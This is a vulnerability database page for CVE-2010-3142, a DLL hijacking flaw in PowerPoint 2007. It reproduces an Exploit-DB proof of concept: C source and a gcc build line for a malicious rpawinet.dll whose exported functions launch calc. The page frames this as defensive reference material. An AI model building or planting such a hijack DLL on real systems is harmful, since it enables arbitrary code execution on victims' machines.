CVE-2010-3142
Description
Untrusted search path vulnerability in Microsoft Office PowerPoint 2007 allows local users, and possibly remote attackers, to execute arbitrary code and conduct DLL hijacking attacks via a Trojan horse rpawinet.dll that is located in the same folder as a .odp, .pothtml, .potm, .potx, .ppa, .ppam, .pps, .ppt, .ppthtml, .pptm, .pptxml, .pwz, .sldm, .sldx, and .thmx file.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
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Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Microsoft PowerPoint 2007 - 'rpawinet.dll' DLL Hijacking
/*
Exploit Title: Microsoft Office PowerPoint 2007 DLL Hijacking Exploit (rpawinet.dll)
Date: August 25, 2010
Author: storm (storm@gonullyourself.org)
Version: 2007 (12.0.6535.5002) SP2
Tested on: Windows Vista SP2
http://www.gonullyourself.org/
gcc -shared -o rpawinet.dll PowerPoint-DLL.c
.odp, .pothtml, .potm, .potx, .ppa, .ppam, .pps, .ppt, .ppthtml, .pptm, .pptxml, .pwz, .sldm, .sldx, and .thmx files are affected.
*/
#include <windows.h>
#define DllExport __declspec (dllexport)
DllExport void HttpFilterBeginningTransaction() { hax(); }
DllExport void HttpFilterClose() { hax(); }
DllExport void HttpFilterOnBlockingOps() { hax(); }
DllExport void HttpFilterOnResponse() { hax(); }
DllExport void HttpFilterOnTransactionComplete() { hax(); }
DllExport void HttpFilterOpen() { hax(); }
int hax()
{
WinExec("calc", 0);
exit(0);
return 0;
}
Microsoft PowerPoint 2010 - 'pptimpconv.dll' DLL Hijacking
Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| microsoft | powerpoint | 2007 | |
References
Community-verified mitigations for this CVE will appear above when contributors publish them.
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